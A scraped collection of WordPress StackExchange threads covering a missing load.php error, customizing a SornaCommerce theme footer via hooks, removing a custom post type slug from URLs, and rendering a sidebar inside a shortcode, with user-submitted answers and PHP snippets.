slower.</p>\n\n<p>So, in case you're unhappy with your anti-spam plugin, I recommend you to try a method with creating a hidden field in the comment form – it completely prevents automatic spam (actually it is 99% of all spam comments).</p>\n\n<p>Here is the step by step guide how to implement it <a href=\"https://rudrastyh.com/wordpress/spam-protection-no-plugins.html\" rel=\"nofollow noreferrer\">https://rudrastyh.com/wordpress/spam-protection-no-plugins.html</a></p>\n" } ]
2018/01/21
[ "https://wordpress.stackexchange.com/questions/291721", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120278/" ]
I'm getting the following errors on my WordPress site ``` Warning: require(/home/[site]/public_html/wp-includes/load.php): failed to open stream: No such file or directory in /home/[site]/public_html/wp-settings.php on line 19 Warning: require(/home/[site]/public_html/wp-includes/load.php): failed to open stream: No such file or directory in /home/[site]/public_html/wp-settings.php on line 19 Fatal error: require(): Failed opening required '/home/[site]/public_html/wp-includes/load.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/[site]/public_html/wp-settings.php on line 19 ``` I've been troubleshooting for a few days but could really use some help. **File permissions:** wp-settings.php: 644 wp-config.php: 444 wp-includes: 755 wp-includes/load.php: 644 Anyone know what it could be? I've tried manually upgrading the files(deleting the old wp-files and updating), but still nothing. PHP version is 7. Thanks!
Just install a good anti-spam plugin. They will monitors site's comments for spam and automatically blocks spam comments. BTW WordPress come with Akismet which is a spam protection plugin installed by default. To enable the plugin, go to the Plugins and activate the Plugin. [Akismet Anti-Spam](https://wordpress.org/plugins/akismet/)
291,732
<p>I've been trying to edit a footer.php file for the Wordpress eCommerce theme called SornaCommerce. There is a text that says "Proudly powered by WordPress | Theme: SornaCommerce by eDataStyle.". Instead of that I want to add some links and widgets.</p> <p>The footer.php text says the following</p> <pre><code>&lt;/div&gt; </code></pre> <p> </p> <pre><code> &lt;?php /** * Hook - sornacommerce_site_footer_block. * * @hooked sornacommerce_site_footer_block - 10 */ do_action('sornacommerce_site_footer_block'); ?&gt; </code></pre> <p></p> <p> </p> <p>That's the part I think makes the footer (when I remove it the footer is removed). How can I insert my own links and stuff? Thanks in advance guys</p>
[ { "answer_id": 291733, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 0, "selected": false, "text": "<p>That's an action you can hook into, see also <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference\" rel=\"nofollow noreferrer\">the Action reference</a>.</p>\n\n<p>To add your own code that gets executed when this action is called, use <a href=\"https://developer.wordpress.org/reference/functions/add_action/\" rel=\"nofollow noreferrer\">add_action</a>, like so:</p>\n\n<pre><code>function wpse291732_footer() {\nprint '&lt;a href=\"http://example.com/\"&gt;Go to example.com!&lt;/a&gt;';\n}\nadd_action(\"sornacommerce_site_footer_block\", \"wpse291732_footer\");\n</code></pre>\n\n<p>add_action also supports passing it a priority as the third parameter (default: 10) that determines the order of execution (lower priority gets executed first).</p>\n" }, { "answer_id": 308727, "author": "aThemeArt Web Studio", "author_id": 147038, "author_profile": "https://wordpress.stackexchange.com/users/147038", "pm_score": 1, "selected": false, "text": "<p>The original theme url here ( <a href=\"https://wordpress.org/themes/sornacommerce/\" rel=\"nofollow noreferrer\">https://wordpress.org/themes/sornacommerce/</a> )</p>\n\n<p>The theme working by using WordPress hooks</p>\n\n<p>You can update this file: <code>sornacommerce\\inc\\theme-hooks.php</code> on line 438 to 497 </p>\n\n<p>Otherwise remove the function on the hook like bellow: </p>\n\n<pre><code>remove_action( 'sornacommerce_site_footer_block', 'sornacommerce_site_footer_block' );\n</code></pre>\n\n<p>Then add new function to the same hook like bellow:</p>\n\n<pre><code>function wpse291732_footer() {\n// your function\n }\nadd_action(\"sornacommerce_site_footer_block\", \"wpse291732_footer\");\n</code></pre>\n\n<p>Hope that will be okay !</p>\n" } ]
2018/01/21
[ "https://wordpress.stackexchange.com/questions/291732", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135280/" ]
I've been trying to edit a footer.php file for the Wordpress eCommerce theme called SornaCommerce. There is a text that says "Proudly powered by WordPress | Theme: SornaCommerce by eDataStyle.". Instead of that I want to add some links and widgets. The footer.php text says the following ``` </div> ``` ``` <?php /** * Hook - sornacommerce_site_footer_block. * * @hooked sornacommerce_site_footer_block - 10 */ do_action('sornacommerce_site_footer_block'); ?> ``` That's the part I think makes the footer (when I remove it the footer is removed). How can I insert my own links and stuff? Thanks in advance guys
The original theme url here ( <https://wordpress.org/themes/sornacommerce/> ) The theme working by using WordPress hooks You can update this file: `sornacommerce\inc\theme-hooks.php` on line 438 to 497 Otherwise remove the function on the hook like bellow: ``` remove_action( 'sornacommerce_site_footer_block', 'sornacommerce_site_footer_block' ); ``` Then add new function to the same hook like bellow: ``` function wpse291732_footer() { // your function } add_action("sornacommerce_site_footer_block", "wpse291732_footer"); ``` Hope that will be okay !
291,735
<p>I am working on a plugin that creates lists. After creating a list, I wanted to remove the slug from the url</p> <p>Post type:</p> <pre><code>$rewrite = [ 'slug' =&gt; 'single-link', 'with_front' =&gt; false, 'pages' =&gt; false, 'feeds' =&gt; false, ]; $args = [ 'label' =&gt; esc_html__( 'Single Link', 'single-link' ), 'labels' =&gt; $labels, 'supports' =&gt; [ 'title' ], 'hierarchical' =&gt; false, 'public' =&gt; true, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'menu_position' =&gt; 15, 'menu_icon' =&gt; 'dashicons-admin-links', 'show_in_admin_bar' =&gt; false, 'show_in_nav_menus' =&gt; true, 'can_export' =&gt; true, 'has_archive' =&gt; false, 'exclude_from_search' =&gt; true, 'publicly_queryable' =&gt; true, 'rewrite' =&gt; $rewrite, 'capability_type' =&gt; 'page', 'show_in_rest' =&gt; true, ]; $args = apply_filters( 'single-link/post_type/args', $args ); register_post_type( 'single-link', $args ); </code></pre> <p>Remove the slug from the URL:</p> <pre><code>function remove_cpt_slug( $post_link, $post, $leavename ) { if ( 'single-link' != $post-&gt;post_type || 'publish' != $post-&gt;post_status ) { return $post_link; } $post_link = str_replace( '/' . $post-&gt;post_type . '/', '/', $post_link ); return $post_link; } add_filter( 'post_type_link', 'remove_cpt_slug', 10, 3 ); function change_slug_struct( $query ) { if ( ! $query-&gt;is_main_query() || 2 != count( $query-&gt;query ) || ! isset( $query-&gt;query['page'] ) ) { return; } if ( ! empty( $query-&gt;query['name'] ) ) { $query-&gt;set( 'post_type', array( 'post', 'single-link', 'page' ) ); } } add_action( 'pre_get_posts', 'change_slug_struct' ); </code></pre> <p>(this code is from <a href="http://www.codeinhouse.com/remove-slug-from-custom-post-type-in-wordpress/" rel="nofollow noreferrer">here</a>)</p> <p>Now after hitting publish, the slug /single-link/ gets deleted, but we always get a 404 when visiting the page. Changing/re-Saving the permalinks did not help. What am I doing wrong?</p>
[ { "answer_id": 291990, "author": "luukvhoudt", "author_id": 44637, "author_profile": "https://wordpress.stackexchange.com/users/44637", "pm_score": 2, "selected": false, "text": "<p>You have to alter the perma structure. By default your custom post type's post will only be found wenether the url starts with the slug prefix. When changing the prefix you will have similar issues as when deleting it, <a href=\"https://wordpress.stackexchange.com/q/291580\">have a look at this post</a>.</p>\n\n<p>To achieve removal of the post type slug prefix you should hook into <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/$permastruct_rewrite_rules\" rel=\"nofollow noreferrer\"><code>single-link_rewrite_rules</code></a> and iterate through those rules and remove the prefix there as well.</p>\n\n<p><strong>Note:</strong> changes in the perma structure may cause url conflicts.</p>\n" }, { "answer_id": 292379, "author": "Vlad Olaru", "author_id": 52726, "author_profile": "https://wordpress.stackexchange.com/users/52726", "pm_score": 3, "selected": true, "text": "<p>The registering of the custom post type and the permalink modification is OK. The problem is with the WordPress rewrite rules that more than likely will match the \"cleaned up\" URL of your simple links to pages and it will set the <code>pagename</code> query var not <code>name</code> as your <code>change_slug_struct()</code> function assumed.</p>\n\n<p>So change the function to this to account for all cases:</p>\n\n<pre><code>function change_slug_struct( $query ) {\n\n if ( ! $query-&gt;is_main_query() || 2 != count( $query-&gt;query ) || ! isset( $query-&gt;query['page'] ) ) {\n return;\n }\n\n if ( ! empty( $query-&gt;query['name'] ) ) {\n $query-&gt;set( 'post_type', array( 'post', 'single-link', 'page' ) );\n } elseif ( ! empty( $query-&gt;query['pagename'] ) &amp;&amp; false === strpos( $query-&gt;query['pagename'], '/' ) ) {\n $query-&gt;set( 'post_type', array( 'post', 'single-link', 'page' ) );\n\n // We also need to set the name query var since redirect_guess_404_permalink() relies on it.\n $query-&gt;set( 'name', $query-&gt;query['pagename'] );\n }\n}\nadd_action( 'pre_get_posts', 'change_slug_struct' );\n</code></pre>\n" }, { "answer_id": 371588, "author": "Dimitrije Djekanovic", "author_id": 192074, "author_profile": "https://wordpress.stackexchange.com/users/192074", "pm_score": 0, "selected": false, "text": "<p>For multiple Custom Post Types adjust like this</p>\n<pre><code> $query-&gt;set( 'post_type', array( 'post', 'custom1', 'page' ) &amp;&amp; array( 'post', 'custom2', 'page' ) );\n</code></pre>\n" } ]
2018/01/21
[ "https://wordpress.stackexchange.com/questions/291735", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135201/" ]
I am working on a plugin that creates lists. After creating a list, I wanted to remove the slug from the url Post type: ``` $rewrite = [ 'slug' => 'single-link', 'with_front' => false, 'pages' => false, 'feeds' => false, ]; $args = [ 'label' => esc_html__( 'Single Link', 'single-link' ), 'labels' => $labels, 'supports' => [ 'title' ], 'hierarchical' => false, 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'menu_position' => 15, 'menu_icon' => 'dashicons-admin-links', 'show_in_admin_bar' => false, 'show_in_nav_menus' => true, 'can_export' => true, 'has_archive' => false, 'exclude_from_search' => true, 'publicly_queryable' => true, 'rewrite' => $rewrite, 'capability_type' => 'page', 'show_in_rest' => true, ]; $args = apply_filters( 'single-link/post_type/args', $args ); register_post_type( 'single-link', $args ); ``` Remove the slug from the URL: ``` function remove_cpt_slug( $post_link, $post, $leavename ) { if ( 'single-link' != $post->post_type || 'publish' != $post->post_status ) { return $post_link; } $post_link = str_replace( '/' . $post->post_type . '/', '/', $post_link ); return $post_link; } add_filter( 'post_type_link', 'remove_cpt_slug', 10, 3 ); function change_slug_struct( $query ) { if ( ! $query->is_main_query() || 2 != count( $query->query ) || ! isset( $query->query['page'] ) ) { return; } if ( ! empty( $query->query['name'] ) ) { $query->set( 'post_type', array( 'post', 'single-link', 'page' ) ); } } add_action( 'pre_get_posts', 'change_slug_struct' ); ``` (this code is from [here](http://www.codeinhouse.com/remove-slug-from-custom-post-type-in-wordpress/)) Now after hitting publish, the slug /single-link/ gets deleted, but we always get a 404 when visiting the page. Changing/re-Saving the permalinks did not help. What am I doing wrong?
The registering of the custom post type and the permalink modification is OK. The problem is with the WordPress rewrite rules that more than likely will match the "cleaned up" URL of your simple links to pages and it will set the `pagename` query var not `name` as your `change_slug_struct()` function assumed. So change the function to this to account for all cases: ``` function change_slug_struct( $query ) { if ( ! $query->is_main_query() || 2 != count( $query->query ) || ! isset( $query->query['page'] ) ) { return; } if ( ! empty( $query->query['name'] ) ) { $query->set( 'post_type', array( 'post', 'single-link', 'page' ) ); } elseif ( ! empty( $query->query['pagename'] ) && false === strpos( $query->query['pagename'], '/' ) ) { $query->set( 'post_type', array( 'post', 'single-link', 'page' ) ); // We also need to set the name query var since redirect_guess_404_permalink() relies on it. $query->set( 'name', $query->query['pagename'] ); } } add_action( 'pre_get_posts', 'change_slug_struct' ); ```
291,827
<p>How can I add classes on the <code>echo</code> returns?</p> <pre><code> &lt;div class="author_sidebar"&gt; &lt;?php if ( is_singular( 'post' ) ) { echo get_avatar( get_the_author_meta( 'user_email' ), 75 ); echo get_the_author_meta( 'display_name' ); ?&gt; &lt;/div&gt; </code></pre> <p>I managed to solve the problem by rapping the <code>echo</code> returns in <code>divs</code> this then allowed me to add <code>classes</code> into the <code>divs</code></p>
[ { "answer_id": 291820, "author": "kero", "author_id": 108180, "author_profile": "https://wordpress.stackexchange.com/users/108180", "pm_score": 2, "selected": true, "text": "<p>If your site and home URL are set to https, WordPress will redirect all requests made to it.</p>\n\n<p>Please check under Settings -> General if this is the case.</p>\n" }, { "answer_id": 302573, "author": "Suresh Sapkota", "author_id": 140472, "author_profile": "https://wordpress.stackexchange.com/users/140472", "pm_score": 2, "selected": false, "text": "<p>Will you please follow one of these steps to fixed out.</p>\n\n<ol>\n<li><p>Make sure the site configured correctly, in the wp_options table double check on siteurl and home value.</p></li>\n<li><p>Also, you can check for .htaccess file to figure out any problem in Rewrite rules which cause redirecting issues. </p></li>\n</ol>\n\n<p>More information can be found <a href=\"https://codex.wordpress.org/Moving_WordPress\" rel=\"nofollow noreferrer\">here</a></p>\n" } ]
2018/01/22
[ "https://wordpress.stackexchange.com/questions/291827", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135332/" ]
How can I add classes on the `echo` returns? ``` <div class="author_sidebar"> <?php if ( is_singular( 'post' ) ) { echo get_avatar( get_the_author_meta( 'user_email' ), 75 ); echo get_the_author_meta( 'display_name' ); ?> </div> ``` I managed to solve the problem by rapping the `echo` returns in `divs` this then allowed me to add `classes` into the `divs`
If your site and home URL are set to https, WordPress will redirect all requests made to it. Please check under Settings -> General if this is the case.
291,832
<p>Have a look, please: <a href="http://www.heavyweightsoftware.com/blog" rel="nofollow noreferrer">http://www.heavyweightsoftware.com/blog</a> and click on Blog. You should see my article, How to Use Tabs with Angular 5. Now click on this article to view it and you should get an "Oops! Can't find that." page.</p> <p>What's up with that?</p> <p>It looks like something odd is going on with single quotes in the link, but what's putting them there?</p>
[ { "answer_id": 291833, "author": "Cátia Rodrigues", "author_id": 135334, "author_profile": "https://wordpress.stackexchange.com/users/135334", "pm_score": 3, "selected": true, "text": "<p>Have you tried to save the permalinks again?</p>\n\n<pre><code>Step 1: In the main menu find \"Settings &gt; Permalinks\".\nStep 2: Scroll down if needed and click \"Save Changes\".\nStep 3: Rewrite rules and permalinks are flushed.\n</code></pre>\n" }, { "answer_id": 291892, "author": "Thom", "author_id": 104795, "author_profile": "https://wordpress.stackexchange.com/users/104795", "pm_score": 1, "selected": false, "text": "<p>Based on Catia's feedback, I went back into Settings > Permalinks and found that I had a custom structure selected that contained the single quotes. Most likely this came from the provider as I can't imagine why I would have done that.</p>\n\n<p>At any rate, I changed the permalink setting to one of the pre-defined ones, Post Name, and saved it, which regenerated the permalinks and now everything is working properly.</p>\n" }, { "answer_id": 291897, "author": "maverick", "author_id": 132953, "author_profile": "https://wordpress.stackexchange.com/users/132953", "pm_score": 0, "selected": false, "text": "<p>This may be due to your web server.\nIf you are a linux user, you can follow these simple steps:</p>\n\n<pre><code>sudo nano /etc/apache2/apache2.conf\n</code></pre>\n\n<p>Find:</p>\n\n<pre><code>&lt;Directory /var/www/&gt;\n\nAnd make sure the AllowOverride directive is set to All.\n</code></pre>\n\n<p>This worked for me. I hope it works for you as well. Good luck!!!</p>\n" } ]
2018/01/22
[ "https://wordpress.stackexchange.com/questions/291832", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/104795/" ]
Have a look, please: <http://www.heavyweightsoftware.com/blog> and click on Blog. You should see my article, How to Use Tabs with Angular 5. Now click on this article to view it and you should get an "Oops! Can't find that." page. What's up with that? It looks like something odd is going on with single quotes in the link, but what's putting them there?
Have you tried to save the permalinks again? ``` Step 1: In the main menu find "Settings > Permalinks". Step 2: Scroll down if needed and click "Save Changes". Step 3: Rewrite rules and permalinks are flushed. ```
291,855
<p>I'm using Contact Form 7 in my wordpress installation. I need to somehow pass a hidden field with the current page url in the contact form hidden field. I tried their custom function and tried the short code, no luck. </p> <pre><code>wpcf7_add_shortcode('sourceurl', 'wpcf7_sourceurl_shortcode_handler', true); function wpcf7_sourceurl_shortcode_handler($tag) { if (!is_array($tag)) return ''; $name = $tag['name']; if (empty($name)) return ''; $html = '&lt;input type="hidden" name="' . $name . '" value="http://' . $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"] . '" /&gt;'; return $html; } </code></pre> <p>In the form edition I tried <code>[sourceurl thesource]</code></p>
[ { "answer_id": 291862, "author": "mmm", "author_id": 74311, "author_profile": "https://wordpress.stackexchange.com/users/74311", "pm_score": 2, "selected": false, "text": "<p>the form submit already send the container post then you just need to retrive it in and put it in the e-mail.<br>\nFor that, try this code : </p>\n\n<pre><code>add_filter(\"wpcf7_posted_data\", function ($wpcf7_posted_data) {\n\n $post = get_post($wpcf7_posted_data[\"_wpcf7_container_post\"]);\n\n $wpcf7_posted_data[\"containerURL\"] = get_permalink($post);\n\n\n return $wpcf7_posted_data;\n\n});\n</code></pre>\n\n<p>And in the edition of the sent e-mail, you retrieve the URL with <code>[containerURL]</code></p>\n" }, { "answer_id": 291867, "author": "Shibi", "author_id": 62500, "author_profile": "https://wordpress.stackexchange.com/users/62500", "pm_score": 3, "selected": false, "text": "<p>See this example on how to create and parse the shortcode in the contact form 7 to use it add <code>[current_url]</code></p>\n\n<pre><code>add_action( 'wpcf7_init', 'wpcf7_add_form_tag_current_url' );\nfunction wpcf7_add_form_tag_current_url() {\n // Add shortcode for the form [current_url]\n wpcf7_add_form_tag( 'current_url',\n 'wpcf7_current_url_form_tag_handler',\n array(\n 'name-attr' =&gt; true\n )\n );\n}\n\n// Parse the shortcode in the frontend\nfunction wpcf7_current_url_form_tag_handler( $tag ) {\n global $wp;\n $url = home_url( $wp-&gt;request );\n return '&lt;input type=\"hidden\" name=\"'.$tag['name'].'\" value=\"'.$url.'\" /&gt;';\n}\n</code></pre>\n\n<p>Also if its all about to get the URL in the email you dont need all of this. there is a special tag for the email <code>[_url]</code> <a href=\"https://contactform7.com/special-mail-tags/\" rel=\"noreferrer\">CF7 Special mail tags</a></p>\n" }, { "answer_id": 315256, "author": "Iggy", "author_id": 32150, "author_profile": "https://wordpress.stackexchange.com/users/32150", "pm_score": 2, "selected": false, "text": "<p>You can use cf7 hidden field shortcodes + get parameters:\n<a href=\"https://contactform7.com/hidden-field/\" rel=\"nofollow noreferrer\">https://contactform7.com/hidden-field/</a>\n<a href=\"https://contactform7.com/getting-default-values-from-the-context/\" rel=\"nofollow noreferrer\">https://contactform7.com/getting-default-values-from-the-context/</a></p>\n\n<p>In the mail form I use such shortcodes to get these slugs</p>\n\n<pre><code>[hidden utm_source default:get]\n[hidden utm_medium default:get]\n[hidden utm_campaign default:get]\n[hidden utm_content default:get]\n[hidden gclid default:get]\n</code></pre>\n\n<p>It also works with their flamingo plugin.\nAnd for mail template <code>[_url]</code> works very well.</p>\n" }, { "answer_id": 389033, "author": "Geza Gog", "author_id": 143893, "author_profile": "https://wordpress.stackexchange.com/users/143893", "pm_score": 3, "selected": false, "text": "<p>according to Contact Form 7 documentation you need this:</p>\n<p>[_url] — This tag is replaced by the URL of the page in which the contact form is placed.</p>\n<p>reference: <a href=\"https://contactform7.com/special-mail-tags/\" rel=\"noreferrer\">https://contactform7.com/special-mail-tags/</a></p>\n" } ]
2018/01/22
[ "https://wordpress.stackexchange.com/questions/291855", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/90895/" ]
I'm using Contact Form 7 in my wordpress installation. I need to somehow pass a hidden field with the current page url in the contact form hidden field. I tried their custom function and tried the short code, no luck. ``` wpcf7_add_shortcode('sourceurl', 'wpcf7_sourceurl_shortcode_handler', true); function wpcf7_sourceurl_shortcode_handler($tag) { if (!is_array($tag)) return ''; $name = $tag['name']; if (empty($name)) return ''; $html = '<input type="hidden" name="' . $name . '" value="http://' . $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"] . '" />'; return $html; } ``` In the form edition I tried `[sourceurl thesource]`
See this example on how to create and parse the shortcode in the contact form 7 to use it add `[current_url]` ``` add_action( 'wpcf7_init', 'wpcf7_add_form_tag_current_url' ); function wpcf7_add_form_tag_current_url() { // Add shortcode for the form [current_url] wpcf7_add_form_tag( 'current_url', 'wpcf7_current_url_form_tag_handler', array( 'name-attr' => true ) ); } // Parse the shortcode in the frontend function wpcf7_current_url_form_tag_handler( $tag ) { global $wp; $url = home_url( $wp->request ); return '<input type="hidden" name="'.$tag['name'].'" value="'.$url.'" />'; } ``` Also if its all about to get the URL in the email you dont need all of this. there is a special tag for the email `[_url]` [CF7 Special mail tags](https://contactform7.com/special-mail-tags/)
291,864
<p>On the main blog page for a site I am developing, my designer has the first post styled uniquely and in a different section on the page than the rest. Since it is a paginated archive page, I need to loop through all posts on the paginated page just excluding the first post, as I will get that in it's own loop. </p> <p>I tried the Offset option within the query, but learned that that kills pagination which won't work.</p> <p>Thanks for the help.</p>
[ { "answer_id": 291883, "author": "Jignesh Patel", "author_id": 111556, "author_profile": "https://wordpress.stackexchange.com/users/111556", "pm_score": 0, "selected": false, "text": "<p>Following this step:</p>\n\n<p>Step 1: For different section you can display first Posts. when put this code.</p>\n\n<pre><code>&lt;?php\n// For your frist post\nglobal $post,$firstPosts;\n$args = array(\n 'posts_per_page' =&gt; 1,\n 'orderby' =&gt; 'post_date',\n 'order' =&gt; 'DESC',\n 'post_type' =&gt; 'post',\n 'post_status' =&gt; 'publish',\n );\n$the_query = new WP_Query( $args );\nif ( $the_query-&gt;have_posts() ) :\n while ( $the_query-&gt;have_posts() ) : $the_query-&gt;the_post();\n $firstPosts[] = $post-&gt;ID;\n echo get_the_title(); \n endwhile;\nendif;\nwp_reset_postdata();\n?&gt;\n</code></pre>\n\n<p>Step 2: On your blog page listing. Put this code in <strong>Index.php</strong> file. for Loop posts only excluding first post</p>\n\n<pre><code>&lt;?php\n// blog page\n// Put this code after get_header(); line\n\nglobal $wp_query,$firstPosts;\n$args = array_merge( $wp_query-&gt;query, array( 'post__not_in' =&gt; $firstPosts ) );\nquery_posts( $args ); \n\n?&gt;\n</code></pre>\n" }, { "answer_id": 291884, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": false, "text": "<p>You don't need separate queries, you can run multiple loops on the same query-</p>\n\n<pre><code>// output first post\nif( have_posts() ){\n the_post();\n the_title();\n}\n\n// output the rest of the posts...\nif( have_posts() ){\n while( have_posts() ){\n the_post();\n the_title();\n }\n}\n</code></pre>\n\n<p>You can also use <code>rewind_posts()</code> to reset the current post back to 0, as well as manually set <code>$wp_query-&gt;current_post</code> to whatever index you want and start the loop there (note: the post counter starts at 0, not 1).</p>\n\n<p>If you only want to style the first post on the first page and not subsequent pages, you can check if it's <strong>not</strong> paged with <code>! is_paged()</code></p>\n\n<pre><code>if( ! is_paged() ){\n echo 'this will only output on the first page';\n if( have_posts() ){\n the_post();\n the_title();\n }\n}\n</code></pre>\n" } ]
2018/01/22
[ "https://wordpress.stackexchange.com/questions/291864", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/67264/" ]
On the main blog page for a site I am developing, my designer has the first post styled uniquely and in a different section on the page than the rest. Since it is a paginated archive page, I need to loop through all posts on the paginated page just excluding the first post, as I will get that in it's own loop. I tried the Offset option within the query, but learned that that kills pagination which won't work. Thanks for the help.
You don't need separate queries, you can run multiple loops on the same query- ``` // output first post if( have_posts() ){ the_post(); the_title(); } // output the rest of the posts... if( have_posts() ){ while( have_posts() ){ the_post(); the_title(); } } ``` You can also use `rewind_posts()` to reset the current post back to 0, as well as manually set `$wp_query->current_post` to whatever index you want and start the loop there (note: the post counter starts at 0, not 1). If you only want to style the first post on the first page and not subsequent pages, you can check if it's **not** paged with `! is_paged()` ``` if( ! is_paged() ){ echo 'this will only output on the first page'; if( have_posts() ){ the_post(); the_title(); } } ```
291,872
<p>I have a project going on and this is the first time I've encountered CSV. I've read numerous post but haven't found what I need.</p> <p>So we have and CSV with values like this</p> <pre><code>Name,Country,Color,Pet David,UK,Red,Dog Andy,USA,Blue,Cat,Dog,Fish ... </code></pre> <p>So sometimes there are multiple values on "Pet", and that's how clients software outputs CSV and we can't change it. I am looking for solution on how to combine columns after nth column. So for an example, after 6th column I need ti combine all columns in row to 7th.</p> <p>Is that possible to achieve?</p> <p>I would paste the code I'm working on but it's sample I've found online using fgetcsv function and outputing table.</p> <p>Also, is it possible to read rows instead of columns like it renders it?</p> <p>Anyone who helps out will do HUGE favor!</p>
[ { "answer_id": 291883, "author": "Jignesh Patel", "author_id": 111556, "author_profile": "https://wordpress.stackexchange.com/users/111556", "pm_score": 0, "selected": false, "text": "<p>Following this step:</p>\n\n<p>Step 1: For different section you can display first Posts. when put this code.</p>\n\n<pre><code>&lt;?php\n// For your frist post\nglobal $post,$firstPosts;\n$args = array(\n 'posts_per_page' =&gt; 1,\n 'orderby' =&gt; 'post_date',\n 'order' =&gt; 'DESC',\n 'post_type' =&gt; 'post',\n 'post_status' =&gt; 'publish',\n );\n$the_query = new WP_Query( $args );\nif ( $the_query-&gt;have_posts() ) :\n while ( $the_query-&gt;have_posts() ) : $the_query-&gt;the_post();\n $firstPosts[] = $post-&gt;ID;\n echo get_the_title(); \n endwhile;\nendif;\nwp_reset_postdata();\n?&gt;\n</code></pre>\n\n<p>Step 2: On your blog page listing. Put this code in <strong>Index.php</strong> file. for Loop posts only excluding first post</p>\n\n<pre><code>&lt;?php\n// blog page\n// Put this code after get_header(); line\n\nglobal $wp_query,$firstPosts;\n$args = array_merge( $wp_query-&gt;query, array( 'post__not_in' =&gt; $firstPosts ) );\nquery_posts( $args ); \n\n?&gt;\n</code></pre>\n" }, { "answer_id": 291884, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": false, "text": "<p>You don't need separate queries, you can run multiple loops on the same query-</p>\n\n<pre><code>// output first post\nif( have_posts() ){\n the_post();\n the_title();\n}\n\n// output the rest of the posts...\nif( have_posts() ){\n while( have_posts() ){\n the_post();\n the_title();\n }\n}\n</code></pre>\n\n<p>You can also use <code>rewind_posts()</code> to reset the current post back to 0, as well as manually set <code>$wp_query-&gt;current_post</code> to whatever index you want and start the loop there (note: the post counter starts at 0, not 1).</p>\n\n<p>If you only want to style the first post on the first page and not subsequent pages, you can check if it's <strong>not</strong> paged with <code>! is_paged()</code></p>\n\n<pre><code>if( ! is_paged() ){\n echo 'this will only output on the first page';\n if( have_posts() ){\n the_post();\n the_title();\n }\n}\n</code></pre>\n" } ]
2018/01/22
[ "https://wordpress.stackexchange.com/questions/291872", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/74294/" ]
I have a project going on and this is the first time I've encountered CSV. I've read numerous post but haven't found what I need. So we have and CSV with values like this ``` Name,Country,Color,Pet David,UK,Red,Dog Andy,USA,Blue,Cat,Dog,Fish ... ``` So sometimes there are multiple values on "Pet", and that's how clients software outputs CSV and we can't change it. I am looking for solution on how to combine columns after nth column. So for an example, after 6th column I need ti combine all columns in row to 7th. Is that possible to achieve? I would paste the code I'm working on but it's sample I've found online using fgetcsv function and outputing table. Also, is it possible to read rows instead of columns like it renders it? Anyone who helps out will do HUGE favor!
You don't need separate queries, you can run multiple loops on the same query- ``` // output first post if( have_posts() ){ the_post(); the_title(); } // output the rest of the posts... if( have_posts() ){ while( have_posts() ){ the_post(); the_title(); } } ``` You can also use `rewind_posts()` to reset the current post back to 0, as well as manually set `$wp_query->current_post` to whatever index you want and start the loop there (note: the post counter starts at 0, not 1). If you only want to style the first post on the first page and not subsequent pages, you can check if it's **not** paged with `! is_paged()` ``` if( ! is_paged() ){ echo 'this will only output on the first page'; if( have_posts() ){ the_post(); the_title(); } } ```
291,878
<p>EDIT: This shortcode is meant to be used and valid on any WP page. // Thanks Jacob for the note.</p> <p>I am trying to display a sidebar inside a shortcode.</p> <p>However, the result of the shortcode, jumps out from the wrapping element (div) in which I am trying to display it.</p> <p>The red rectangle in screenshots illustrates the problem.</p> <p>The shortcode source code:</p> <pre><code>&lt;?php /*** Featured (1 post + sidebar) ***/ function blog_loop_feat( $atts ) { extract( shortcode_atts( array(), $atts ) ); echo '&lt;div class="clear"&gt;&lt;/div&gt;'; $args = array(); $splendid_query = new WP_Query( $args ); $output = '&lt;div class="row"&gt;';// Row Open while ( $splendid_query-&gt;have_posts() ) : $splendid_query-&gt;the_post(); '&lt;div class="col-md-8 grid-entry-wrapper"&gt; &lt;!-- grid-entry-wrapper open --&gt; &lt;!-- BLOG LOOP --&gt; &lt;/div&gt;&lt;!-- grid-entry-wrapper close --&gt;'; endwhile; wp_reset_query(); $output .= '&lt;div class="col-md-4"&gt;'; if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar("Featured sidebar") ) : endif; $output .= '&lt;/div&gt;&lt;/div&gt;'; // Row Close return $output; } add_shortcode('blog_loop_feat', 'blog_loop_feat'); </code></pre> <p>And functions.php snippet:</p> <pre><code>if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' =&gt; 'Featured sidebar', 'before_widget' =&gt; '&lt;div class = "widgetizedArea"&gt;', 'meta' =&gt; 'feat_widget', 'after_widget' =&gt; '&lt;/div&gt;', 'before_title' =&gt; '&lt;h3&gt;', 'after_title' =&gt; '&lt;/h3&gt;', ) ); </code></pre> <p>The HTML output: <a href="https://i.stack.imgur.com/msLKr.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/msLKr.jpg" alt="enter image description here"></a></p> <p>Illustrations: <a href="https://i.stack.imgur.com/XCoTI.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XCoTI.jpg" alt="enter image description here"></a> <a href="https://i.stack.imgur.com/3Mpvf.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3Mpvf.jpg" alt="enter image description here"></a></p>
